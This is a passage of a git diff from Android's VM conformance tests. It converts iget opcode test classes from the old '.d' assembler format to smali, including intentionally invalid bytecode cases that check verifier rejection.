+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.d
deleted file mode 100644
index 69d1af4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_17.java
-.class public dot.junit.opcodes.iget.d.T_iget_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali
new file mode 100644
index 0000000..fcccdc2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_17.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.d
deleted file mode 100644
index c081e55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_18.java
-.class public dot.junit.opcodes.iget.d.T_iget_18
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali
new file mode 100644
index 0000000..7e43894
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_18.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.d
deleted file mode 100644
index a555e94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_19.java
-.class public dot.junit.opcodes.iget.d.T_iget_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali
new file mode 100644
index 0000000..02773f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_19.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.smali
new file mode 100644
index 0000000..e928b10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget/d/T_iget_2;
+.super Ljava/lang/Object;
+.source "T_iget_2.java"
+
+
+# instance fields
+.field public val:F
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const v0, 0x42f60000    # 123.0f
+
+    iput v0, p0, Ldot/junit/opcodes/iget/d/T_iget_2;->val:F
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 4
+
+    iget v1, p0, Ldot/junit/opcodes/iget/d/T_iget_2;->val:F
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.d
deleted file mode 100644
index b34faae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_20.java
-.class public dot.junit.opcodes.iget.d.T_iget_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali
new file mode 100644
index 0000000..0d3af8d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_20.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.d
deleted file mode 100644
index 569458b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_21.java
-.class public dot.junit.opcodes.iget.d.T_iget_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget/TestStubs/<init>()V
-
-       iget v1, v0, dot.junit.opcodes.iget.TestStubs.TestStubProtectedField I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali
new file mode 100644
index 0000000..deb236f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_21.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/TestStubs;-><init>()V
+
+       iget v1, v0, Ldot/junit/opcodes/iget/TestStubs;->TestStubProtectedField:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.d
deleted file mode 100644
index f362d0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_3.java
-.class public dot.junit.opcodes.iget.d.T_iget_3
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v3, v2, dot.junit.opcodes.iget.d.T_iget_3.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali
new file mode 100644
index 0000000..245f41d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_3.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v3, v2, Ldot/junit/opcodes/iget/d/T_iget_3;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.d
deleted file mode 100644
index 3564c81..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_30.java
-.class public dot.junit.opcodes.iget.d.T_iget_30
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget/d/T_iget_30
-    iget v1, v0, dot.junit.opcodes.iget.d.T_iget_30.st_i1 I
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali
new file mode 100644
index 0000000..0c672ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_30.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget/d/T_iget_30;
+    iget v1, v0, Ldot/junit/opcodes/iget/d/T_iget_30;->st_i1:I
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.d
deleted file mode 100644
index 3659b15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_31.java
-.class public dot.junit.opcodes.iget.d.T_iget_31
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget.d.T_iget_31.st_i1 I
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali
new file mode 100644
index 0000000..0f0b38af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_31.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget/d/T_iget_31;->st_i1:I
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d
deleted file mode 100644
index 57df084..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_35.java
-.class public dot.junit.opcodes.iget.d.T_iget_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 2
-       iget v0, v1, dot.junit.opcodes.iget.TestStubs.TestStubProtectedField I
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali
new file mode 100644
index 0000000..f7fd9e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_35.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 2
+       iget v0, v1, Ldot/junit/opcodes/iget/TestStubs;->TestStubProtectedField:I
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.d
deleted file mode 100644
index 8336a2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_4.java
-.class public dot.junit.opcodes.iget.d.T_iget_4
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_4.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali
new file mode 100644
index 0000000..9aff9c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_4.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_4;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.d
deleted file mode 100644
index 7a7c3ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_5.java
-.class public dot.junit.opcodes.iget.d.T_iget_5
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_5.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali
new file mode 100644
index 0000000..4cc1c50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_5.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_5;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.d
deleted file mode 100644
index 8ea70c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
